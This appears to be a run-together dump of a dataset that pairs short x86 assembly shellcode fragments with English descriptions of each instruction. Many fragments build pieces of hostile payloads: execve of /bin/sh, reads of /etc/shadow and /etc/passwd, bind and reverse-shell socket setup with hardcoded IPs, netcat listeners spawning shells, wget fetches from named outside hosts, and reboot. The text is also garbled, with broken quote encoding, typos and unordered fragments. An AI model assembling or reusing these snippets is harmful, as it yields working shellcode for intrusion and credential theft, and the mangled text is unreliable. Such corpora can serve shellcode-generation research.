0x76766c2d push 0x76766c2d onto the stack push 0x76766c2d push 0x76766c2d to the stack push 0x76766c2d push the 0x76766c2d onto the stack push 0x776f6461 \n push 0x68732f63 \n push 0x74652f2f push the string Ô//etc/shadowÕ on stack push 0x776f6461 \n push 0x6873672f \n push 0x6374652f \n mov ebx, esp load the string Ô/etc/gshadowÕ into ebx regsiter push 0x776f6490 \n pop ebx load hexadecimal value 0x776f6490 into ebx register push 0x78 push 0x78 onto the stack push 0x78 push 0x78 to the stack push 0x78 push the 0x78 onto the stack push 0x78 \n mov ebx, esp move the character x in ebx register push 0x782f2f32 push 0x782f2f32 onto the stack push 0x782f2f32 push 0x782f2f32 to the stack push 0x782f6e69 push 0x782f6e69 onto the stack push 0x782f6e69 push 0x782f6e69 to the stack push 0x78534a52 push 0x78534a52 onto the stack push 0x79616c70 push 0x79616c70 to the stack push 0x79616c70 push 0x79616c70 onto the stack push 0x8 push 0x8 onto the stack push 0x81e3a8c0 push inet_addr 192.168.227.129 (hex) push 0x81e3a8c0 push 0x81e3a8c0 onto the stack push 0x8501a8c0 push ip address 192.168.1.133 (hex) push 0x8501a8c0 push 0x8501a8c0 onto the stack push 0xa push af_inet6 value, 10, on stack push 0xa push af_inet6 = 10 on stack push 0xa push 0xa onto the stack push 0xa push 0xa to the stack push 0xa01a8c0 push the 0xa01a8c0 onto the stack push 0xb push 0xb to the stack push 0xb push 0xb onto the stack push 0xb \n pop eax load execve in eax push 0xb \n pop eax load __nr_execve into eax register push 0xb \n pop eax load __nr_execve syscall into eax register push 0xb \n pop eax load execve syscall number into eax register push 0xb \n pop eax load execve syscall number into eax reegisster push 0xb \n pop eax load execve syscall into eax register push 0xb pop eax push the hexadecimal value 0xb on the stack and put it in eax register taking it from the stack push 0xc \n pop eax \n pop edx load hexadecimal value into eax and edx content push 0xdebf push 0xdebf value to the stack push 0xefffff7f push ip address 127.255.255.254 on stack push 0xefffff7f push 0xefffff7f onto the stack push 0xf push 0xf onto the stack push 0xf \n pop eax load chmod syscall number into eax register push 0xf \n pop eax load chmod syscall into eax push 0xf \n pop eax load chmod syscall into eax register push 0xffffff90 \n pop ebx push hexadecimal value 0xffffff90 into ebx register push 0xfffffffa push hexadecimal value 0xfffffffa on stack push 1 push 1 to the stack push 1 push 1 onto the stack push 10 push 10 onto the stack push 10 \n mov eax, esp push the value 10 onto the stack and point eax to the stack register push 102 push syscall for socketcall() 102 push 102 push 102 onto the stack push 12 \n mov ebx, esp push the value 12 onto the stack and point ebx to the stack register push 15 \n mov ecx, esp push the value 15 onto the stack and point ecx to the stack register push 16 push 16 onto the stack (addrlen = 16) push 16 push the size of strcut sockaddr_in push 16 push 16 onto the stack push 2 push 2 onto stack (af_inet = 2) push 2 push 2 onto the stack push 20 push 20 onto the stack push 20 push the 20 onto the stack push 216 push 216 value to the stack push 6 push 6 onto the stack push 6 \n push 1 \n push 10 push the values 6, 1 and 10 on stack push ax push ax onto the stack push ax push ax to the stack push ax push the ax onto the stack push bx push bx on the stack push bx push bx content on the stack push bx push bx onto the stack push bx push bx to the stack push bx push the contents of the bx register onto the stack push byte -1 push the byte -1 onto the stack push byte +0x1 push the byte +0x1 onto the stack push byte +0x10 push the byte +0x10 onto the stack push byte +0x2 push the byte +0x2 onto the stack push byte +0x3 push the byte +0x3 onto the stack push byte +0x46 push the byte +0x46 onto the stack push byte +0x6 push the byte +0x6 onto the stack push byte +0x66 push the byte +0x66 onto the stack push byte +0x68 push byte +0x68 on stack push byte +0x7f push the byte +0x7f onto the stack push byte +0x8 push the byte +0x8 onto the stack push byte +0xb push the byte +0xb onto the stack push byte +0xb \n pop eax load 11 into eax regsiter push byte 0 push byte 0 onto stack push byte 0x0 push the byte 0x0 onto the stack push byte 0x01 push the byte 0x01 onto the stack push byte 0x01 push the byte 0x01 to the stack push byte 0x01 \n pop eax put the syscall 0x01 into the eax register push byte 0x02 push 02 onto the stack (af_inet = 2) push byte 0x02 push the byte 0x02 onto the stack push byte 0x02 push the byte 0x02 to the stack push byte 0x02 \n pop eax put the syscall 0x02 into the eax register push byte 0x04 push the byte 0x04 onto the stack push byte 0x04 \n pop eax put the syscall 0x04 into the eax register push byte 0x05 push the byte 0x05 onto the stack push byte 0x05 \n pop eax put the syscall 0x05 into the eax register push byte 0x06 push the byte 0x06 onto the stack push byte 0x06 \n pop eax put the syscall 0x06 into the eax register push byte 0x0b push the byte 0x0b onto the stack push byte 0x0b \n pop eax load execve syscall number into eax register push byte 0x0b \n pop eax put the syscall 0x0b into the eax register push byte 0x1 push the byte 0x1 to the stack push byte 0x1 push the byte 0x1 onto the stack push byte 0x1 \n mov ecx, esp push the byte 0x1 onto the stack and point ecx to the stack register push byte 0x1 \n pop ebx \n push byte ebx load the byte sock_stream = 1 into ebx register then push ebx content on stack push byte 0x1 \n pop edx load the byte 0x1 into edx register push byte 0x1 \n pop esi load byte 0x1 into esi push byte 0x1 \n push byte 0x2 push socket parameters sock_stream = 1 and af_inet = 2 on stack push byte 0x10 push the byte 0x10 on stack push byte 0x10 push the byte 0x10 onto the stack push byte 0x10 \n pop eax put the syscall 0x10 into the eax register push byte 0x10 \n push ecx \n push esi \n mov ecx, esp save 16, ecx contents and the saved socket descriptor (in esi) on ecx push byte 0x11 \n mov ebx, esp push the byte 0x11 onto the stack and point ebx to the stack register push byte 0x17 push the byte 0x17 onto the stack push byte 0x17 \n pop eax put the syscall 0x17 into the eax register push byte 0x1c push the size of sockaddr_in6 = 28 on stac push byte 0x1c push the hexadecimal byte value 0x1c that is the size of sockaddr_in6 push byte 0x1c push the byte 0x1c onto the stack push byte 0x1c \n pop eax put the syscall 0x1c into the eax register push byte 0x1f push the byte 0x1f onto the stack push byte 0x1f \n pop eax put the syscall 0x1f into the eax register push byte 0x2 define the queueliit = 2 and push it on stack push byte 0x2 push the hexadecimal value 0x2 on stack push byte 0x2 push af_inet = 2 on stack push byte 0x2 push the byte 0x2 onto the stack push byte 0x2 push the byte 0x2 to the stack push byte 0x2 \n mov ecx, esp push the byte 0x2 onto the stack and point ecx to the stack register push byte 0x2 \n pop eax put the syscall 0x2 into the eax register push byte 0x2 \n pop ecx load the hexadecimal value 0x2 into ecx register push byte 0x2 \n push esi push byte 0x2 adn esi content on stack push byte 0x2e push the byte 0x2e onto the stack push byte 0x2e \n pop eax put the syscall 0x2e into the eax register push byte 0x2f push the byte 0x2f onto the stack push byte 0x2f \n pop eax put the syscall 0x2f into the eax register push byte 0x3 push the byte 0x3 onto the stack push byte 0x3 \n pop eax put the syscall 0x3 into the eax register push byte 0x3 \n pop esi load byte 3 into esi register push byte 0x30 push hexadecimal value 0x30 as a byte on stack push byte 0x30 push the byte 0x30 onto the stack push byte 0x30 \n pop eax put the syscall 0x30 into the eax register push byte 0x3f push the byte 0x3f onto the stack push byte 0x3f \n pop eax load dup2 syscall numbere into eax register push byte 0x3f \n pop eax put the syscall 0x3f into the eax register push byte 0x4 push the byte 0x4 onto the stack push byte 0x4 \n pop eax put the syscall 0x4 into the eax register push byte 0x4 \n pop eax \n inc eax load __nr_open syscall into eax register push byte 0x43 syscall for sigaction() push byte 0x43 make the system call sigaction push byte 0x43 sigaction push byte 0x43 syscall for sigaction push byte 0x43 system call sigaction push byte 0x43 \n pop eax put syscall sigaction into the eax register push byte 0x43 \n pop eax put the syscall 0x43 into the eax register push byte 0x5 \n mov ebx, esp push the byte 0x5 onto the stack and point ebx to the stack register push byte 0x5 \n mov edx, esp push the byte 0x5 onto the stack and point edx to the stack register push byte 0x64 push the byte 0x64 to the stack push byte 0x64 push the byte 0x64 onto the stack push byte 0x64 \n pop eax put the syscall 0x64 into the eax register push byte 0x64 \n push word 0x7773 \n push word 0x7773 \n push 0x7361702f \n push 0x6374652f \n mov ebx, esp load the string /etc/passwd in abx register push byte 0x66 push the byte 0x66 onto the stack push byte 0x66 \n pop eax move the command socketcall = 102 in al register push byte 0x66 \n pop eax move the command socketcall = 102 into eax register push byte 0x66 \n pop eax load socketcall syscall number into eax regsiter push byte 0x66 \n pop eax put the syscall 0x66 into the eax register push byte 0x7 \n mov edx, esp push the byte 0x7 onto the stack and point edx to the stack register push byte 0x77 push the byte 0x77 to the stack push byte 0x77 push the byte 0x77 onto the stack push byte 0x77 \n pop eax put the syscall 0x77 into the eax register push byte 0x77 \n push word 0x6f64 \n push 0x6168732f \n push 0x6374652f \n mov ebx, esp load the string /etc/shadow in ebx register push byte 0x8 \n mov edx, esp push the byte 0x8 onto the stack and point edx to the stack register push byte 0xb push the byte 0xb onto the stack push byte 0xb \n pop eax load execve syscall into eax register push byte 0xb \n pop eax put the syscall 0xb into the eax register push byte 0xc push the byte 0xc onto the stack push byte 0xc \n pop eax put the syscall 0xc into the eax register push byte 0xc \n pop eax \n dec eax load execve syscall into eax register push byte 1 move byte 1 onto stack push byte 1 push byte 1 onto the stack push byte 1 push the byte 1 to the stack push byte 1 push the byte 1 onto the stack push byte 1 \n mov eax, esp push the byte 1 onto the stack and point eax to the stack register push byte 1 \n pop eax load exit syscall into eax register push byte 1 \n pop eax load __nr_execve syscall into eax register push byte 1 \n pop eax put the syscall 1 into the eax register push byte 1 \n pop eax \n int 0x80 load syscall exit in al register and call kernel push byte 10 push the byte 10 onto the stack push byte 10 push the byte 10 to the stack push byte 10 \n pop eax put the syscall 10 into the eax register push byte 11 push the byte 11 onto the stack push byte 11 push the byte 11 to the stack push byte 11 \n pop eax put the syscall 11 into the eax register push byte 15 push the byte 15 onto the stack push byte 15 push the byte 15 to the stack push byte 15 \n pop eax move the function chmod in al register push byte 15 \n pop eax put the syscall 15 into the eax register push byte 16 push byte 16 onto stack push byte 16 push the byte 16 onto the stack push byte 16 \n pop eax put the syscall 16 into the eax register push byte 16 \n push ecx \n push edi push 16, *ptr and file descriptor on stack push byte 17h push the byte 17h onto the stack push byte 17h \n pop eax put the syscall 17h into the eax register push byte 2 push byte 2 onto the stack push byte 2 push the byte 2 onto the stack push byte 2 \n pop eax put the syscall 2 into the eax register push byte 2 \n pop ecx load byte 2 into ecx register push byte 2 \n pop ecx save the byte 2 into ecx register push byte 2 \n pop edx load the byte 2 into edx register push byte 2 \n push esi push the byte 2 and esi content on stack push byte 25 push the byte 25 onto the stack push byte 25 \n pop eax put the syscall 25 into the eax register push byte 28 push the lenght of sockaddr_in6 = 28 byte push byte 28 push the byte 28 to the stack push byte 28 \n pop eax put the syscall 28 into the eax register push byte 3 \n mov ebx, esp push the byte 3 onto the stack and point ebx to the stack register push byte 37 push the byte 37 onto the stack push byte 37 \n pop eax put the syscall 37 into the eax register push byte 3h push the byte 3h onto the stack push byte 3h \n pop eax put the syscall 3h into the eax register push byte 4 push the byte 4 onto the stack push byte 4 \n pop eax load byte 4 into eax register push byte 4 \n pop eax load __nr_write into eax push byte 4 \n pop eax put the syscall 4 into the eax register push byte 49 push the byte 49 onto the stack push byte 49 \n pop eax put the syscall 49 into the eax register push byte 5 push 5 on stack push byte 5 push the byte 5 onto the stack push byte 5 \n pop eax load byte 5 into eax register push byte 5 \n pop eax load __nr_open into eax register push byte 5 \n pop eax put the syscall 5 into the eax register push byte 54 push the byte 54 onto the stack push byte 54 \n pop eax put the syscall 54 into the eax register push byte 6 push byte 6 onto the stack push byte 6 push the byte 6 onto the stack push byte 6 push the byte 6 to the stack push byte 6 \n pop eax put the syscall 6 into the eax register push byte 6 \n push byte 0x1 \n push byte 10 push the byte 6, 0x1 and 10 on stack push byte 67 push the byte 67 onto the stack push byte 67 \n pop eax load sigaction syscall number into eax register push byte 67 \n pop eax put the syscall 67 into the eax register push byte 70 push the byte 70 onto the stack push byte 70 \n pop eax put the syscall 70 into the eax register push byte 8 push the byte 8 onto the stack push byte 8 \ n pop eax load __nr_creat into al register push byte 8 \n pop eax put the syscall 8 into the eax register push byte 9 push the byte 9 onto the stack push byte 9 \n pop eax put the syscall 9 into the eax register push byte chmod_call push the byte chmod_call onto the stack push byte chmod_call \n pop eax move the function chmod in al register push byte CHMOD_CALL \n pop eax put the byte my_label into the eax register push byte CHMOD_CALL \n pop eax put the byte CHMOD_CALL into the eax register push byte L1 \n pop eax put the byte L1 into the eax register push byte my_value \n pop eax put the byte my_value into the eax register push byte VALUE \n pop eax put the byte VALUE into the eax register push cx push the contents of the cx register onto the stack push dword [ebp+16] push the dword [ebp+16] onto the stack push dword [edx+2] push the double word stored a edx+2 location on stack push dword [edx+2] push the doubleword [edx+2] to the stack push dword [edx+2] push the dword [edx+2] onto the stack push dword 0x00000000 push the doubleword 0x00000000 onto the stack push dword 0x0101017f push the dword 0x0101017f onto the stack push dword 0x017aa8c0 push the dword 0x017aa8c0 onto the stack push dword 0x0501a8c0 push the value of local ip = 192.168.1.5 on stack push dword 0x0501a8c0 push the dword 0x0501a8c0 onto the stack push dword 0x0a206873 push the double word 0x0a206873 onto the stack push dword 0x10 push the dword 0x10 onto the stack push dword 0x2 push the double word 2 onto the stack push dword 0x214c4f4c push the dword 0x214c4f4c onto the stack push dword 0x2335738c push the double word 0x2335738c onto the stack push dword 0x2f2f2f2f \n push dword 0x7273752f \n mov eax, esp push double word 0x2f2f2f2f and the double word 0x7273752f onto the stack and point the eax register to the stack register push dword 0x2f2f2f2f \n push dword 0x7273752f \n mov ebx, esp push double word 0x2f2f2f2f and the double word 0x7273752f onto the stack and point the ebx register to the stack register push dword 0x2f2f2f2f \n push dword 0x7273752f \n mov ecx, esp push double word 0x2f2f2f2f and the double word 0x7273752f onto the stack and point the ecx register to the stack register push dword 0x2f2f2f2f \n push dword 0x7273752f \n mov edx, esp push double word 0x2f2f2f2f and the double word 0x7273752f onto the stack and point the edx register to the stack register push dword 0x2f2f6e69 push the dword 0x2f2f6e69 onto the stack push dword 0x2f2f6e69 push the doubleword 0x2f2f6e69 to the stack push dword 0x2f3a2f3a push the double word 0x2f3a2f3a onto the stack push dword 0x2f3a3a30 push the dword 0x2f3a3a30 onto the stack push dword 0x2f6e6962 push the double word 0x2f6e6962 onto the stack push dword 0x303a3a31 push the double word 0x303a3a31 onto the stack push dword 0x313a303a push the double word 0x313a303a onto the stack push dword 0x39396e2d \n mov ebp, esp push double word 0x39396e2d onto the stack and point the ebp register to the stack register push dword 0x39396e2d \n mov ebx, esp push double word 0x39396e2d onto the stack and point the ebx register to the stack register push dword 0x39396e2d \n mov edi, esp push double word 0x39396e2d onto the stack and point the edi register to the stack register push dword 0x39396e2d \n mov esi, esp push double word 0x39396e2d onto the stack and point the esi register to the stack register push dword 0x3a303a3a push the dword 0x3a303a3a onto the stack push dword 0x4227a28b push the doubleword 0x4227a28b onto the stack push dword 0x45525649 push the dword 0x45525649 onto the stack push dword 0x58494741 push the dword 0x58494741 onto the stack push dword 0x5f657a69 push the dword 0x5f657a69 onto the stack push dword 0x6164732f push the dword 0x6164732f onto the stack push dword 0x61702f2f push the dword 0x61702f2f onto the stack push dword 0x61702f63 push the dword 0x61702f63 onto the stack push dword 0x61722f6c push the dword 0x61722f6c onto the stack push dword 0x61747069 push the doubleword 0x61747069 to the stack push dword 0x61747069 push the dword 0x61747069 onto the stack push dword 0x62732f2f push the dword 0x62732f2f onto the stack push dword 0x62732f2f push the doubleword 0x62732f2f to the stack push dword 0x62732f2f \n mov ebx, esp push the doubleword 0x62732f2f onto the stack and point the ebx register to the stack register push dword 0x6374652f push the dword 0x6374652f onto the stack push dword 0x64616568 push the dword 0x64616568 onto the stack push dword 0x64777373 push the dword 0x64777373 onto the stack push dword 0x6567772f \n push dword 0x6e69622f \n push dword 0x7273752f \n mov ebx, esp push edx, the byte +0x74 and the chined double words Ô/usr/bin/wgeÕ into ebx register push dword 0x656e7265 push the dword 0x656e7265 onto the stack push dword 0x682f6365 \n push dword 0x78652f2f \n push dword 0x6f692e62 \n push dword 0x75687469 \n push dword 0x672e6d34 \n push dword 0x626d3362 push the string Ôb3mb4m.github.io//exec/hÕ on stack as chained double words push dword 0x68732f2f push hs// onto stack push dword 0x68732f2f push the dword 0x68732f2f onto the stack push dword 0x68732f63 push the dword 0x68732f63 onto the stack push dword 0x68732f6e push the dword 0x68732f6e onto the stack push dword 0x69622f2f push the dword 0x69622f2f onto the stack push dword 0x69622f3a push the dword 0x69622f3a onto the stack push dword 0x6962732f push the dword 0x6962732f onto the stack push dword 0x6b2f7379 push the dword 0x6b2f7379 onto the stack push dword 0x6b6e756a push the dword 0x6b6e756a onto the stack push dword 0x6d6f646e push the dword 0x6d6f646e onto the stack push dword 0x6e69622f push nib/ onto stack push dword 0x6e69622f push the dword 0x6e69622f onto the stack push dword 0x6e69922f push the dword 0x6e69922f onto the stack push dword 0x6f702f6e push the dword 0x6f702f6e onto the stack push dword 0x6f726577 push the dword 0x6f726577 onto the stack push dword 0x7264632f push the dword 0x7264632f onto the stack push dword 0x72657355 push the dword 0x72657355 onto the stack push dword 0x732f636f push the dword 0x732f636f onto the stack push dword 0x73656c62 push the doubleword 0x73656c62 to the stack push dword 0x73656c62 push the dword 0x73656c62 onto the stack push dword 0x73656c62 \n push dword 0x61747069 \n mov edi,esp \n push dword 0x2f2f6e69 \n push dword 0x62732f2f \n mov ebx, esp load the string iptables in edi regsiter and load the string //sbin // in ebx regsiter push dword 0x7461632f push the dword 0x7461632f onto the stack push dword 0x74652f2f push the dword 0x74652f2f onto the stack push dword 0x74652f2f \n mov eax, esp push double word 0x74652f2f onto the stack and point the eax register to the stack register push dword 0x74652f2f \n mov ebp, esp push double word 0x74652f2f onto the stack and point the ebp register to the stack register push dword 0x74652f2f \n mov ebx, esp push double word 0x74652f2f onto the stack and point the ebx register to the stack register push dword 0x74652f2f \n mov ecx, esp push double word 0x74652f2f onto the stack and point the ecx register to the stack register push dword 0x74652f2f \n mov edx, esp push double word 0x74652f2f onto the stack and point the edx register to the stack register push dword 0x74652f2f \n mov esi, esp push double word 0x74652f2f onto the stack and point the esi register to the stack register push dword 0x7665642f push the dword 0x7665642f onto the stack push dword 0x776f6461 push the dword 0x776f6461 onto the stack push dword 0x8140a8c0 push ipv4 address 192.168.64.129 (hex) on stack push dword 0x8140a8c0 push the doubleword 0x8140a8c0 to the stack push dword eax push the double word content of eax on stack push dword eax push the doube word eax content on stack push dword eax push sin6_addr as dword eax push dword eax push the doubleword eax to the stack push dword eax push the dword eax onto the stack push dword eax \n push dword eax push the double word eax content on stacck two times push dword eax \n push dword eax \n push dword eax \n push dword eax push 4 times dword contained in eax that represent ipv6 loopback push dword eax \n push dword eax \n push dword eax \n push dword eax push ipv6 loopback on stack as x4 dword eax push dword eax \n push dword eax \n push dword eax \n push dword eax push eax content as double word for 4 times push dword eax \n push dword eax \n push dword eax \n push dword eax \n push dword eax push the string v6_host.sin6_addr on stack push dword ebx push sin6_flowinfo=4 byte saved in ebx on stack push dword ebx push the doubleword ebx to the stack push dword ebx \n push dword ebx push ebx content as a double word on stack two times push dx push dx rergister on the stack push dx push dx content on stack push dx push dx onto the stack push eax push eax onto stack push eax push eax on the stack push eax push eax contents on the stack push eax push null terminating string on stack push eax push null push eax push eax content on the stack push eax push zero on the stack push eax push eax content on stack push eax push in eax the argument no=0 push eax push sin6_addr = in6addr_any = ::0 push eax push zero on stack push eax push null terminator on stack push eax push eax(socket file descriptor) onto stack push eax push nulls for string termination push eax push null byte as string terminator push eax push null into the stack push eax push null on stack push eax move 0 to stack (protocol=0) push eax push 0 (=eax) push eax push ipproto_ip = 0 (eax) on stack push eax push sin6_addr, saved in eax, on stack push eax push null byte on stack push eax push null terminator push eax preserve eax on the stack push eax push eax onto the stack push eax push eax to the stack push eax push eax value to the stack push eax push the contents of eax onto the stack push eax push the contents of eax register onto the stack push eax push the contents of the eax register onto the stack push eax push the value of register eax onto the stack push eax \n inc eax push eax on stack then increment its conent push eax \n mov ebx, esp push the contents of the eax register onto the stack and point ebx to the stack register push eax \n mov ecx, esp push the contents of the eax register onto the stack and point ecx to the stack register push eax \n mov edi, 0x343997b7 \n rol edi, 1 \n push edi \n mov esi, 0xd2c45e5e \n ror esi, 1 \n push esi push null terminating string and Ô/bin/shÕ to the stack push eax \n mov edx, esp clear edx push eax \n mov edx, esp push null in the edx position push eax \n mov edx, esp clear eax register push eax \n mov edx, esp envp = 0 push eax \n mov edx, esp load eax into edx register push eax \n mov edx, esp push the contents of the eax register onto the stack and point edx to the stack register push eax \n mov edx, esp \n push eax \n mov ecx, esp insert null in edx and ecx push eax \n mov edx, esp \n push eax \n mov ecx, esp zero out edx and ecx register push eax \n mov edx, esp \n push ebx \n mov ecx, esp \n mov al, 0xb \n int 0x80 execute __nr_execve syscall push eax \n mov edx,esp push null temrinating string on edx push eax \n pop ecx move eax by inserting it in the stack in ecx extracting it from the stack push eax \n pop edi load 0 into edi register push eax \n pop edx transfer eax contents into edx register push eax \n pop edx load eax content into edx push eax \n push 0x30 push eax and the hexadecimal value 0x30 on the stack push eax \n push 0x31373737 \n push 0x3170762d \n mov esi, esp load chained null and the arg -vp17771 into esi register push eax \n push 0x35353535 \n push 0x70746c2d \n mov ecx, esp push 0, port number = 5555, command -ltp on stack. ecx point to the top pf the stack. push eax \n push 0x39393939 \n push 0x39706c2d push 0-term, 9999, 9pl- on the stack push eax \n push 0x4b434148 push null terminated string ÔhackÕ on stack push eax \n push 0x636e2f2f \n push 0x6e69622f \n mov ebx, esp load chained null and the arg /bin//nc into ebx register push eax \n push 0x636e2f6e \n push 0x69622f2f push 0-term, cn/n, ib// on the stack push eax \n push 0x6769666e \n push 0x6f635f64 \n push 0x6873732f \n push 0x6873732f \n push 0x6374652f push 0-term, gifn, oc_d, hss/, hss/, cte/ on the stack push eax \n push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp load Ô/bin//sh\0Õ intp ebx register push eax \n push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp load Ô/bin//sh\0Õ into ebx register push eax \n push 0x68732f2f \n push 0x6e69622f \n push 0x2f656c2d \n mov edi, esp load chained null and the arg -le//bin//sh into edi register push eax \n push 0x68732f2f \n push 0x6e69622f \n push 0x2f656c2d \n mov edx, esp load chained null and the arg -le//bin//sh into edx register push eax \n push 0x68732f2f \n push 0x6e69622f \n push ebx, esp \n mov edx, eax \n mov al, 0xb \n int 0x80 execute execve syscall putting null temrinated string Ô/bin//shÕ into ebx register, the parameter 0 into edx and the syscall code into al register. push eax \n push 0x68732f6e \n push 0x69622f2f \n mov ebx, esp load the string //bin/sh\0 into ebx regsiter push eax \n push 0x68736162 \n push 0x2f6e6962 \n push 0x2f2f652d push 0-term, hsab, /nib, //e- on the stack push eax \n push 0x6c6c6568 \n push 0x2f6d3462 \n push 0x6d33622f \n push 0x2f2f2f6d \n push 0x6f632e73 \n push 0x616d6978 \n push 0x656d2e33 \n mov ecx, esp save null terminated string Ô3.meximas.com////b3mb4m/hellÕ into ecx register push eax \n push 0x7361642f \n push 0x6e69622f \n mov ebx, esp load null terminate string Ô/bin/dasÕ into ebx regsiter push eax \n push 0x7461632f \n push 0x6e69622f push 0-term, tac/, nib/ on the stack push eax \n push 0x74656777 \n push 0x2f6e6962 \n push 0x2f727375 \n push 0x2f2f2f2f \n mov ebx, esp load null terminated string Ô////usr/bin/wgetÕ intp ebx regsiter push eax \n push 0x746f6f62 \n push 0x65722f6e \n push 0x6962732f \n mov ebx, esp load null temrinated string Ô/sbin/rebootÕ into ebx register push eax \n push 0x746f6f62 \n push 0x65722f6e \n push 0x6962732f \n mov ebx, esp load null terminated string Ôsbin/rebootÕ into ebx register push eax \n push byte +0x68 \n mov ebx,esp load eax content and the byte +0x68 into ebx register push eax \n push byte 0x1 \n push byte 0x2 push the parameters (0, sock_stream =1, af_inet=2) on stack push eax \n push byte 0x1 \n push byte 0x2 \n mov ecx, esp push the protocol 0, the type, sock_stream, and the domain af_inet on the stack and then load the stack pointer into ecx register push eax \n push dword 0x39396e2d put 0-term and the word 99n- on stack push eax \n push dword 0x64616568 \n push dword 0x2f6e6962 \n push dword 0x2f2f2f2f \n push dword 0x7273752f put 0-term and the double words daeh, /nib, ////, rsu/ on the stack push eax \n push dword 0x64777373 \n push dword 0x61702f63 \n push dword 0x74652f2f put 0-term, dwss, ap/c, te// on stack push eax \n push eax push eax content on the stack 2 times push eax \n push eax push null two times on stack push eax \n push eax \n push ecx \n push ebx \n mov ecx, esp load eax two times, ecx and ebx into ecx register push eax \n push ebp \n push edi \n \n push esi \n push ebx push eax, ebp, edi, esi, ebx on the stack push eax \n push ebx push eax and ebx content on stack push eax \n push ebx push ebx and eax on stack push eax \n push ebx push eax and ebx contents on stack push eax \n push ebx \n mov ecx, esp load eax and ebx contents chained into ecx register push eax \n push ecx \n push ebx push eax,ecx and ebx contents on stack push eax \n push ecx \n push esi \n mov ecx,esp push eax, ecx and esi on the stack and then load the stack pointer in ecx register push eax \n push edi push eax and edi contents on the stack push eax \n push edi \n push esi \n push ebx push 0-term, the args in edi, the args in esi and the pointer to /user////bin/head on the stack push eax \n push edi \n push esi \n push ebx \n mov ecx, esp load eax, edi, esi, ebx contents into ecx register push eax \n push edi \n push esi \n push ebx \n mov ecx, esp chain the register eax,edi, esi, ebx and load the contents on ecx register push eax \n push edi \n push esi \n push ebx \n mov ecx, esp concatenate the content of eax, edi, esi, ebx and load them into ecx register push eax \n push edx push eax and edx on the stack push eax \n push edx push eax and edx contents on stack push eax \n push edx \n push ecx \n push ebx \n mov edi, esp load eax, edx, ecx and ebx contents chanined into edi register push eax \n push edx \n push esi \n push ebx push eax, edx, esi, ebx contents on the stack push eax \n push esi \n push ebx push eax, esi and bx contents on the stack push eax \n push esi \n push edi \n push ebx push eax, esi, edi and ebx contents on stack push eax \n push esp push eax and esp register on the stack push eax \n push word 0x6873 \n push 0x61622f2f \n push 0x6e69622f \n mov ebx,esp load the string Ò/bin//bash\0Ó into ebx register push eax \n xor eax, eax \n mov al, 1 push eax register on the satck than clear it and put the number of the syscall exit in its laast byte push ebp save old base pointer push ebp save the old base pointer value push ebp push the contents of the ebp register onto the stack push ebp push the ebp onto the stack push ebp push ebp onto the stack push ebx insert ebx on the stack push ebx push ebx on the stack push ebx push ebx content on the stack push ebx push ebx content i on the stack push ebx push the command to run on stack push ebx push backlog value equals to 2 on stack push ebx push ebx content on stack push ebx push 0 on stack push ebx push the sock file descriptor stored in ebx push ebx "push ""/bin/sh"" on stack" push ebx push ebx(0) onto stack (ipproto_ip = 0) push ebx push ebx(1) onto stack (sock_stream = 1) push ebx push the string Ô////bin/bashÕ on tsack push ebx push the pointer to /bin/bash push ebx push ptr addr on stack push ebx push pointer push ebx value in ebx=1 is pushed in to the stack (sock_stream =1) push ebx pushe 0 onto the stack for first arg of inaddr_any for the local host push ebx pushes the 2nd arg for connection que size to 0 push ebx pushes the memory address of the string onto the stack push ebx push ebx on stack push ebx push address of /bin/sh push ebx preserve ebx on the stack push ebx push the contents of ebx register onto the stack push ebx push the contents of the ebx register onto the stack push ebx push the ebx value to the stack push ebx push ebx onto the stack push ebx push the contents of ebx onto the stack push ebx push ebx to the stack push ebx \n inc ebx \n push ebx push ebx on stack, increment its content by1 and push it again on stack push ebx \n mov eax, esp push the contents of the ebx register onto the stack and point eax to the stack register push ebx \n mov ecx, esp push ebx in the stack and then move its contents into ecx register push ebx \n mov ecx, esp move the character x from ebx register to ecx register push ebx \n mov ecx, esp "moving the pointer to ""/bin//sh"" to ecx" push ebx \n mov ecx, esp load ebx into ecx register push ebx \n mov ecx, esp push the contents of the ebx register onto the stack and point ecx to the stack register push ebx \n mov ecx,esp push ebx content on the satck and load it into ecx register push ebx \n mov edx, esp push the contents of the ebx register onto the stack and point edx to the stack register push ebx \n pop ecx load ebx content into ecx register push ebx \n push 0x1 \n push 0xa push on stack the arguemnts ip_proto = 0, sock_stream =1, pf_inet6 = 10 push ebx \n push 0x4 push ebx and the value 0x4 on stack push ebx \n push 0x6 \n pop eax load ebx content concatenating with hexadecimal value 0x6 into eax reister push ebx \n push byte 10 push ebx contente and the byte 10 on stack push ebx \n push ebx push null on stack two times push ebx \n push ebx push 0 two times push ebx \n push ebx \n push esi push ebx two times and esi content on stack push ebx \n push ebx \n push esi push ebx two times andesi contents on stack push ebx \n push ecx push ebx and ecx contents on stack push ecx push null in stack push ecx push ecx on the satck push ecx load the real ip address in the stack push ecx push ecx content on the stack push ecx push ecx on stack push ecx push the pointer v4lhost on stack push ecx push the pointer to struct on stack push ecx push the pointer to sockfd on stack push ecx push null on stack push ecx push the pointer to host_sockfd push ecx push ecx on register push ecx push null terminating string on stack push ecx push the pointer to sock addr stored in ecx push ecx push ecx(struct pointer) onto the stack push ecx push \x00 to the stack push ecx push pointer address on stack push ecx push serv_addr saved in ecx push ecx push struct pointer push ecx push the memory location of previous args onto the stack push ecx push ecx content on stack push ecx push &serv_addr saved in ecx push ecx preserve ecx on the stack push ecx push the contents of the ecx register onto the stack push ecx push the value of register ecx onto the stack push ecx push ecx onto the stack push ecx push the contents of ecx register onto the stack push ecx push the ecx onto the stack push ecx push ecx on the stack push ecx push ecx to the stack push ecx push the contents of the ecx register onto the stack. push ecx \n mov ecx,esp push ecx on the stack and then place pointer to ecx push ecx \n mov edx,esp push ecx on the stack and then place pointer to edx push ecx \n pop edi load ecx contents into edi register push ecx \n push 0x2 \n push 0x2 push ecx content, the value 0x2 two times on stack push ecx \n push 0x64777373 \n push 0x61702f2f \n push 0x6374652f \n mov ecx,esp load Ô/etc//passwdÕ and null teminating string into ecx register push ecx \n push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp load Ô/bin//sh\0Õ on ebx register push ecx \n push 0x68732f2f \n push 0x6e69622f \n mov ebx,esp push the string /bin//sh\0\0\0\0\0\0\0\0 on the stack and place pointer to eb push ecx \n push 0x68736162 \n push 0x2f6e6962 \n push 0x2f2f2f2f push ecx cotent, ÔhsabÕ, Ô/nibÕ and Ô////Õ on stack push 